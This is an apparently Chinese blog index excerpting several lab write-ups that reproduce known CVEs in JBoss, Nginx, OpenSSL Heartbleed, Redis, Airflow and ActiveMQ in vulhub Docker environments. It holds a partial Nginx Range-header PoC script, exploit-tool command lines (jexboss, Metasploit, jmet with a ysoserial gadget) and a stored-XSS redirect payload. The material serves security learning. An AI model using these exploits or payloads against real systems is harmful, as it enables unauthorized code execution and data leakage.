JBoss漏洞复现

JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504 漏洞描述 Red Hat JBoss Application Server是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JBossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 影响版本 JBoss AS 4.x及之前。 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/jboss/CVE-2017-7504 docker-compose up -d Jexboss工具:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com) git clone https://github.com/joaomatosf/jexboss.git python3 jexboss.py -host http://<ip>:8080 成功利用漏洞执行命令。 本文链接:JBoss漏洞复现 | Atmet (oopsdc.tk) 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

June 17, 2021 · 1 min · DaChui

Nginx漏洞复现

Nginx 越界读取缓存漏洞 CVE-2017-7529 漏洞描述 Nginx在反向代理站点的时候,通常会缓存一些文件,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括文件头+HTTP返回包头+HTTP返回包体。如果二次请求命中该缓存文件,Nginx会直接将该文件中的HTTP返回包体返回给用户。 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能读取到缓存文件中位于HTTP返回包体前的文件头、HTTP返回包头等内容。 影响版本 Nginx 0.5.6 ~ 1.13.2 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/nginx/CVE-2017-7529 docker-compose up -d 访问:http://<ip>:8080正常即可。 POC已经在当前目录中给出来,文件名poc.py: #!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%surl" % (sys.argv[0])) print("eg: python %shttp://your-ip:8080/" % (sys.argv[0])) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range'] = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n) r = requests....

June 17, 2021 · 1 min · DaChui

服务器应用漏洞

OpenSSL OpenSSL 心脏滴血漏洞 CVE-2014-0160 漏洞描述 2014年4月7日,OpenSSL发布安全公告,在OpenSSL 1.0.1 ~ 1.0.1f Beta1版本中存在漏洞,漏洞名为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。 影响版本 OpenSSL 1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等。 复现思路 漏洞复现 环境搭建: git clone https://github.com/vulhub/vulhub.git cd vulhub/openssl/heartbleed docker-compose up -d 使用msf对目标进行攻击: msfconsole set RHOST <ip> set verbose true run Redis Redis 主从复制RCE 漏洞描述 在2019年7月7日结束的WCTF2019 Final上,LC/BC成员Pavel Toporkov在分享会上介绍了一种关于Redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。 Pavel Toporkov的分享: 15-redis-post-exploitation.pdf (zeronights.ru) 影响版本 Redis <= 5.0.5 复现思路 漏洞复现 环境搭建: docker pull a1143535418/redis5.0 docker run -p 6379:6379 -d a1143535418/redis5.0 redis-server 利用脚本: n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)...

June 17, 2021 · 1 min · DaChui

Apache漏洞复现

Airflow 存储型XSS 漏洞描述 Apache Airflow 1.10.2及之前版本的airflow webserver服务存在XSS漏洞,原因在于`WEB应用未对客户端数据进行正确验证,导致攻击者可利用该漏洞执行客户端代码。 影响版本 Apache Airflow 1.10.3以下版本。 漏洞复现 访问/admin/dagrun/(默认不需要密码)。 创建一个项目,输入ID后点击保存,返回列表,点击running字样,发现能够输入HTML代码,例: <script>_a="https://www.baidu.com"</script> <script>document.location=_a</script> 能直接造成存储型XSS。 ActiveMQ 反序列化漏洞 CVE-2015-5254 漏洞描述 Apache ActiveMQ是Apache软件经济会研发的一套开源消息中间件,支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前版本,即5.x版本中存在反序列化漏洞,漏洞源于程序没有限制可在代理中序列化的类,攻击者通过借助特制序列化Java消息服务(JMS) ObjectMessage对象实现任意代码执行。 影响版本 Apache ActiveMQ 5.13.0之前的5.x版本。 复现思路 1.构造(可使用ysoserial)可执行命令的序列化对象。 2.作为一个消息,发送给目标对应端口。 3.访问Web管理页面,读取消息,触发漏洞。 漏洞复现 使用jmet进行漏洞利用:ianxtianxt/jmet: Java Message Exploitation Tool (github.com) 下载好之后在jmet-0.1.0-all.jar同级目录下创建external文件夹,避免出现文件夹不存在的报错。 jmet的原理是使用jar包内置ysoserial生成Payload并发送,我们需要在ysoserial的gadget选择一个可使用的,如ROME。 给目标ActiveMQ添加一个名为event的队列,点击事件为生成/tmp/vuln文件: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME <ip> <port> # 命令执行成功后回显如下 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:<server-id> INFO d....

10 min · DaChui